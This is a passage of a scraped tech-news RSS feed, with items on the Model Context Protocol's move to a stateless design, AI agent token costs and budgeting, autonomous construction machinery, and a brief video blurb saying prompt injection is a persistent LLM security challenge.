<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>
</div></div></div></div>]]></content:encoded>
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<item>
<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Fri, 24 Jul 2026 17:38:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[AI Agent Cloud Costs Are Making Enterprise Budgets Harder to Predict]]></title>
<description><![CDATA[AI agent workloads can vary dramatically in token use, making cloud costs difficult to forecast. New research shows why IT and finance teams need workflow-level controls.
The post AI Agent Cloud Costs Are Making Enterprise Budgets Harder to Predict appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3691825/it-nachrichten/ai-agent-cloud-costs-are-making-enterprise-budgets-harder-to-predict/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691825/it-nachrichten/ai-agent-cloud-costs-are-making-enterprise-budgets-harder-to-predict/</guid>
<pubDate>Fri, 24 Jul 2026 16:46:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>AI agent workloads can vary dramatically in token use, making cloud costs difficult to forecast. New research shows why IT and finance teams need workflow-level controls.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-ai-agent-cloud-costs/">AI Agent Cloud Costs Are Making Enterprise Budgets Harder to Predict</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
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<title><![CDATA[Earth first, Mars later: Inside AIM’s grand vision for physical AI and autonomous bulldozers]]></title>
<description><![CDATA[From a Redmond, Wash., headquarters space formerly occupied by SpaceX, AIM Intelligent Machines founder and CEO Adam Sadilek and his growing team are building the systems to retrofit heavy construction and mining equipment for a self-driving future. Read More]]></description>
<link>https://tsecurity.de/de/3691818/it-nachrichten/earth-first-mars-later-inside-aims-grand-vision-for-physical-ai-and-autonomous-bulldozers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691818/it-nachrichten/earth-first-mars-later-inside-aims-grand-vision-for-physical-ai-and-autonomous-bulldozers/</guid>
<pubDate>Fri, 24 Jul 2026 16:46:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img fetchpriority="high" loading="eager" width="1260" height="790" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/AIM-Physical-AI-1260x790.jpeg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/AIM-Physical-AI-1260x790.jpeg 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/07/AIM-Physical-AI-768x481.jpeg 768w, https://cdn.geekwire.com/wp-content/uploads/2026/07/AIM-Physical-AI-1536x963.jpeg 1536w, https://cdn.geekwire.com/wp-content/uploads/2026/07/AIM-Physical-AI-2048x1284.jpeg 2048w" sizes="(max-width: 1260px) 100vw, 1260px"><br>From a Redmond, Wash., headquarters space formerly occupied by SpaceX, AIM Intelligent Machines founder and CEO Adam Sadilek and his growing team are building the systems to retrofit heavy construction and mining equipment for a self-driving future. <a href="https://www.geekwire.com/2026/earth-first-mars-later-inside-aims-grand-vision-for-physical-ai-and-autonomous-bulldozers/">Read More</a>]]></content:encoded>
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<title><![CDATA[AI's Biggest Hidden Security Flaw]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 2x - Views:12 Modern LLMs process prompts by predicting the next token from context. They don't inherently distinguish system instructions from user instructions, and many "reasoning" models use the same underlying architecture while producing...]]></description>
<link>https://tsecurity.de/de/3691785/it-security-video/ais-biggest-hidden-security-flaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691785/it-security-video/ais-biggest-hidden-security-flaw/</guid>
<pubDate>Fri, 24 Jul 2026 16:22:44 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 2x - Views:12 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/zKXmtFm-Gyw?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Modern LLMs process prompts by predicting the next token from context. They don't inherently distinguish system instructions from user instructions, and many "reasoning" models use the same underlying architecture while producing reasoning-style text.<br />
<br />
That makes prompt or command injection a persistent security challenge and highlights an important limitation: fluent explanations aren't necessarily evidence of genuine reasoning or understanding. Developers need additional safeguards instead of assuming the model can reliably separate trustworthy instructions from malicious ones.<br />
<br />
Should future AI models include stronger architectural separation between trusted instructions and user input, or can software safeguards solve the problem?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#LLM #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
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<title><![CDATA[Chinese AI Models Capture 60% of U.S. Business Token Usage on OpenRouter]]></title>
<description><![CDATA[Chinese AI models now lead U.S. business usage on OpenRouter, creating cost advantages for companies and a difficult policy challenge for Washington.]]></description>
<link>https://tsecurity.de/de/3691782/it-nachrichten/chinese-ai-models-capture-60-of-us-business-token-usage-on-openrouter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691782/it-nachrichten/chinese-ai-models-capture-60-of-us-business-token-usage-on-openrouter/</guid>
<pubDate>Fri, 24 Jul 2026 16:21:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Chinese AI models now lead U.S. business usage on OpenRouter, creating cost advantages for companies and a difficult policy challenge for Washington.]]></content:encoded>
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<title><![CDATA[Home Assistant Device Database public preview]]></title>
<description><![CDATA[The Open Home
Foundation, which governs the Home Assistant
home-automation project, has announced
the "public preview" of its Device
Database:


Providing a public, open way to browse the anonymous, aggregated
device data we collect was always part of the plan, and this preview
is our first step ...]]></description>
<link>https://tsecurity.de/de/3691683/linux-tipps/home-assistant-device-database-public-preview/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691683/linux-tipps/home-assistant-device-database-public-preview/</guid>
<pubDate>Fri, 24 Jul 2026 15:33:35 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The <a href="https://www.openhomefoundation.org/">Open Home
Foundation</a>, which governs the <a href="https://www.home-assistant.io/">Home Assistant</a>
home-automation project, has <a href="https://www.openhomefoundation.org/blog/building-the-device-database-together/">announced</a>
the "public preview" of its <a href="https://device-database-preview.openhomefoundation.org/">Device
Database</a>:</p>

<blockquote class="bq">
<p>Providing a public, open way to browse the anonymous, aggregated
device data we collect was always part of the plan, and this preview
is our first step toward it.</p>

<p>You can already use it to search and filter devices to see
aggregated community insights, starting with a deliberately focused
set of specifics, such as whether a device requires an internet
connection, and which protocols and integrations it works with. We've
kept that initial scope narrow on purpose, giving us a solid
foundation we can build on together with you, our community, as the
database grows.</p>
</blockquote>

<p>LWN <a href="https://lwn.net/Articles/1017945/">looked at</a> Home
Assistant in May 2025.</p>

<p></p>]]></content:encoded>
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<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Fri, 24 Jul 2026 14:04:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Fri, 24 Jul 2026 13:04:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



